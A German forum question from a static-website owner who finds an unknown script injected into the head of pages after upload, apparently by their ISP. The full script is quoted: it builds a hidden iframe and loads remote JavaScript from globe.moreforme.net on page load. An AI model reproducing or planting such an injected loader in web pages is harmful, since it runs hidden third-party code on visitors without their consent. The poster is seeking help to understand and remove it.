Ich habe eine statische Website. Ich aktualisiere die Webseiten lokal in meinem Computer und lade sie mit FileZilla hoch. Nach dem Hochladen überprüfe ich jedoch den Quellcode einer meiner Seiten und sehe ein Skript, das in der eingeblendet wird <head>
. Das Skript ändert weder das Layout noch den sichtbaren Inhalt der Seite. Daher weiß ich nicht, was es überhaupt macht:
<script> if (top == window) { var engageNameSpace = "engagens"; "undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() { function e(e) { return "undefined" != typeof e && null !== e } function t() { var t = document.createElement("script"); t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t) } function n() { var t = r(); if (e(t)) { var n = t; i() && (n = d(t)); var o; try { o = document.documentElement, o.appendChild(n) } catch (c) { o = document.body, o.appendChild(n) } a() } } function a() { function e(e) { var n = e.data; "l8IframeIsReady" === n.message && t() } window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e) } function r() { var t = document.createElement("iframe"); if (e(t)) { t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0"); var n = /firefox/i.exec(navigator.userAgent); e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no" } return t } function i() { var t = !1, n = /android (\d+)/i.exec(navigator.userAgent); return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t } function d(e) { var t = document.createElement("div"); return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() { return !0 }, t.appendChild(e), t } function o() { var t = void 0, a = this, r = function() { e(t) && (window.clearTimeout(t), t = void 0, n.call(a)) }; t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r) } var c = "http://globe.moreforme.net", u = c + "/l8/EngageService?v=1", s = c + "/scripts/Engage.js"; o() }; var engageLoader = new window[engageNameSpace].engageLoader } </script>
Bei der Überprüfung der URL im Skript http://globe.moreforme.net
ist mir klar, dass das Skript höchstwahrscheinlich von unserem ISP (Globe) stammt. Als Neuling in Sachen Internetsicherheit weiß ich nicht, wie das Skript überhaupt dort hingekommen ist. Meine Website ist statisches HTML. Wie kann ich verhindern, dass dieses Skript nach dem Hochladen der Seite im Quellcode angezeigt wird?
BEARBEITEN :
Diesen Link gefunden, der scheinbar der Vorlagencode für das Erstellen des Skripts ist. Weiß jemand, was das Skript macht?